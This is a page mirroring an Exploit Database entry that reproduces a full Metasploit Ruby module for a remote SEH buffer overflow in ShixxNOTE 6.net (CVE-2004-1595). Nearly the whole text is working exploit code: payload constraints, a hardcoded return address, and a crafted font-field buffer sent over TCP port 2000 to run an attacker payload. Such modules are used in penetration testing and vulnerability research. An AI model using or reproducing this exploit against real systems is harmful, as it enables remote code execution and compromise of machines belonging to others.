ShixxNOTE 6.net – Font Field Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-06-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16454/

• ##
  # $Id: shixxnote_font.rb 9525 2010-06-15 07:18:08Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ShixxNOTE 6.net Font Field Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in ShixxNOTE 6.net.
  				The vulnerability is caused due to boundary errors in the
  				handling of font fields.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9525 $',
  			'References' =>
  				[
  					['CVE', '2004-1595'],
  					['OSVDB', '10721'],
  					['BID', '11409'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 650,
  					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  
  			'Targets'=>
  				[
  					[ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ],
  				],
  
  			'Privileged' => false,
  
  			'DisclosureDate' => 'Oct 4 2004',
  
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(2000)
  			], self.class)
  
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		sploit=rand_text_alpha_upper(8, payload_badchars)
  		sploit+= "~~"
  		sploit+= rand_text_alpha_upper(118, payload_badchars)
  
  		seh =generate_seh_payload(target.ret)
  
  		sploit[112, seh.length] = seh
  		sploit+= rand_text_alpha_upper(200, payload_badchars)
  		sploit+= "~" * 10
  
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end